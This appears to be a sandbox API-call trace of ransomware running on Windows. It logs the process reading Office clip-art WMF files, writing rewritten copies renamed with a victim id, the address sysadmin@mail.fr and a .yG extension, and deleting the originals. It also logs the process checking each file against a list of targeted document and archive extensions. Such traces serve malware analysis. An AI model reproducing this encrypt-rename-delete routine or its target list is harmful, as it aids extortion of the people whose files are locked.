	[0138.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0138.321] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=2080) returned 1
	[0138.321] CloseHandle (hObject=0x48c) returned 1
	[0138.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 0x220
	[0138.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0138.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0138.321] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.321] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0138.322] GetLastError () returned 0x0
	[0138.322] ReadFile (in: hFile=0x48c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x820, lpOverlapped=0x0) returned 1
	[0138.389] WriteFile (in: hFile=0x494, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x830, lpOverlapped=0x0) returned 1
	[0138.390] ReadFile (in: hFile=0x48c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0138.390] WriteFile (in: hFile=0x494, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0138.390] SetEndOfFile (hFile=0x494) returned 1
	[0138.390] CloseHandle (hObject=0x494) returned 1
	[0138.391] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.391] SetEndOfFile (hFile=0x48c) returned 1
	[0138.393] CloseHandle (hObject=0x48c) returned 1
	[0138.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0138.394] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 1
	[0138.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0138.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0138.394] lstrlenW (lpString=".doc") returned 4
	[0138.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0138.394] lstrlenW (lpString=".docx") returned 5
	[0138.394] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0138.395] lstrlenW (lpString=".pdf") returned 4
	[0138.395] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0138.395] lstrlenW (lpString=".xls") returned 4
	[0138.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0138.395] lstrlenW (lpString=".xlsx") returned 5
	[0138.395] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0138.395] lstrlenW (lpString=".ppt") returned 4
	[0138.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0138.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0138.395] lstrlenW (lpString=".zip") returned 4
	[0138.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0138.395] lstrlenW (lpString=".rar") returned 4
	[0138.395] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0138.395] lstrlenW (lpString=".bz2") returned 4
	[0138.395] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0138.395] lstrlenW (lpString=".7z") returned 3
	[0138.395] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0138.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0138.395] lstrlenW (lpString=".dbf") returned 4
	[0138.395] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0138.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0138.395] lstrlenW (lpString=".1cd") returned 4
	[0138.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0138.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0138.395] lstrlenW (lpString=".jpg") returned 4
	[0138.395] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0138.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0138.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0138.395] lstrlenW (lpString=".doc") returned 4
	[0138.395] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0138.396] lstrlenW (lpString=".docx") returned 5
	[0138.396] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0138.396] lstrlenW (lpString=".pdf") returned 4
	[0138.396] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0138.396] lstrlenW (lpString=".xls") returned 4
	[0138.396] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0138.396] lstrlenW (lpString=".xlsx") returned 5
	[0138.396] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0138.396] lstrlenW (lpString=".ppt") returned 4
	[0138.396] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0138.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0138.396] lstrlenW (lpString=".zip") returned 4
	[0138.396] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0138.396] lstrlenW (lpString=".rar") returned 4
	[0138.396] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0138.396] lstrlenW (lpString=".bz2") returned 4
	[0138.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0138.396] lstrlenW (lpString=".7z") returned 3
	[0138.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0138.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0138.396] lstrlenW (lpString=".dbf") returned 4
	[0138.396] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0138.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0138.396] lstrlenW (lpString=".1cd") returned 4
	[0138.396] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0138.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0138.396] lstrlenW (lpString=".jpg") returned 4
	[0138.396] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0138.397] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0138.397] lstrlenW (lpString="DD01168_.WMF") returned 12
	[0138.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0138.416] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=2004) returned 1
	[0138.416] CloseHandle (hObject=0x424) returned 1
	[0138.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 0x220
	[0138.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0138.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0138.417] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.417] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0138.417] GetLastError () returned 0x0
	[0138.417] ReadFile (in: hFile=0x424, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x7d4, lpOverlapped=0x0) returned 1
	[0138.468] WriteFile (in: hFile=0x49c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x7e0, lpOverlapped=0x0) returned 1
	[0138.469] ReadFile (in: hFile=0x424, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0138.469] WriteFile (in: hFile=0x49c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0138.470] SetEndOfFile (hFile=0x49c) returned 1
	[0138.470] CloseHandle (hObject=0x49c) returned 1
	[0138.470] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.470] SetEndOfFile (hFile=0x424) returned 1
	[0139.618] CloseHandle (hObject=0x424) returned 1
	[0139.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0139.619] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 1
	[0139.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0139.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0139.620] lstrlenW (lpString=".doc") returned 4
	[0139.620] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0139.620] lstrlenW (lpString=".docx") returned 5
	[0139.620] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0139.620] lstrlenW (lpString=".pdf") returned 4
	[0139.620] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0139.620] lstrlenW (lpString=".xls") returned 4
	[0139.620] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0139.620] lstrlenW (lpString=".xlsx") returned 5
	[0139.620] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0139.620] lstrlenW (lpString=".ppt") returned 4
	[0139.620] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0139.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0139.620] lstrlenW (lpString=".zip") returned 4
	[0139.620] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0139.620] lstrlenW (lpString=".rar") returned 4
	[0139.620] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0139.620] lstrlenW (lpString=".bz2") returned 4
	[0139.620] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0139.620] lstrlenW (lpString=".7z") returned 3
	[0139.620] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0139.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0139.621] lstrlenW (lpString=".dbf") returned 4
	[0139.621] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0139.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0139.621] lstrlenW (lpString=".1cd") returned 4
	[0139.621] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0139.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0139.621] lstrlenW (lpString=".jpg") returned 4
	[0139.621] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0139.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0139.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0139.621] lstrlenW (lpString=".doc") returned 4
	[0139.621] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0139.621] lstrlenW (lpString=".docx") returned 5
	[0139.621] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0139.621] lstrlenW (lpString=".pdf") returned 4
	[0139.621] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0139.621] lstrlenW (lpString=".xls") returned 4
	[0139.621] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0139.621] lstrlenW (lpString=".xlsx") returned 5
	[0139.621] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0139.621] lstrlenW (lpString=".ppt") returned 4
	[0139.621] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0139.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0139.621] lstrlenW (lpString=".zip") returned 4
	[0139.621] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0139.621] lstrlenW (lpString=".rar") returned 4
	[0139.622] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0139.622] lstrlenW (lpString=".bz2") returned 4
	[0139.622] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0139.622] lstrlenW (lpString=".7z") returned 3
	[0139.622] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0139.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0139.622] lstrlenW (lpString=".dbf") returned 4
	[0139.622] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0139.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0139.622] lstrlenW (lpString=".1cd") returned 4
	[0139.622] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0139.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0139.622] lstrlenW (lpString=".jpg") returned 4
	[0139.622] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0139.622] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0139.622] lstrlenW (lpString="DD01182_.WMF") returned 12
	[0139.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0139.623] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=2996) returned 1
	[0139.623] CloseHandle (hObject=0x424) returned 1
	[0139.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 0x220
	[0139.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0139.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0139.624] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0140.131] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0140.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0140.284] GetLastError () returned 0x0
	[0140.284] ReadFile (in: hFile=0x424, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0xbb4, lpOverlapped=0x0) returned 1
	[0140.298] WriteFile (in: hFile=0x4a4, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xbc0, lpOverlapped=0x0) returned 1
	[0140.299] ReadFile (in: hFile=0x424, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0140.299] WriteFile (in: hFile=0x4a4, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0140.299] SetEndOfFile (hFile=0x4a4) returned 1
	[0140.299] CloseHandle (hObject=0x4a4) returned 1
	[0140.299] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0140.299] SetEndOfFile (hFile=0x424) returned 1
	[0140.361] CloseHandle (hObject=0x424) returned 1
	[0140.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0141.885] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 1
	[0142.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0142.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0142.523] lstrlenW (lpString=".doc") returned 4
	[0142.523] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0142.523] lstrlenW (lpString=".docx") returned 5
	[0142.523] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0142.523] lstrlenW (lpString=".pdf") returned 4
	[0142.523] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0142.523] lstrlenW (lpString=".xls") returned 4
	[0142.523] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0142.523] lstrlenW (lpString=".xlsx") returned 5
	[0142.523] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0142.523] lstrlenW (lpString=".ppt") returned 4
	[0142.523] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0142.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0142.523] lstrlenW (lpString=".zip") returned 4
	[0142.523] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0142.524] lstrlenW (lpString=".rar") returned 4
	[0142.524] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0142.524] lstrlenW (lpString=".bz2") returned 4
	[0142.524] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0142.524] lstrlenW (lpString=".7z") returned 3
	[0142.524] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0142.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0142.524] lstrlenW (lpString=".dbf") returned 4
	[0142.524] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0142.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0142.524] lstrlenW (lpString=".1cd") returned 4
	[0142.524] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0142.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0142.524] lstrlenW (lpString=".jpg") returned 4
	[0142.524] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0142.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0142.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0142.524] lstrlenW (lpString=".doc") returned 4
	[0142.524] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0142.524] lstrlenW (lpString=".docx") returned 5
	[0142.524] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0142.524] lstrlenW (lpString=".pdf") returned 4
	[0142.524] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0142.524] lstrlenW (lpString=".xls") returned 4
	[0142.524] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0142.524] lstrlenW (lpString=".xlsx") returned 5
	[0142.524] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0142.525] lstrlenW (lpString=".ppt") returned 4
	[0142.525] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0142.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0142.525] lstrlenW (lpString=".zip") returned 4
	[0142.525] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0142.525] lstrlenW (lpString=".rar") returned 4
	[0142.525] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0142.525] lstrlenW (lpString=".bz2") returned 4
	[0142.525] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0142.525] lstrlenW (lpString=".7z") returned 3
	[0142.525] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0142.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0142.525] lstrlenW (lpString=".dbf") returned 4
	[0142.525] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0142.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0142.525] lstrlenW (lpString=".1cd") returned 4
	[0142.525] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0142.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0142.525] lstrlenW (lpString=".jpg") returned 4
	[0142.525] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0142.525] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
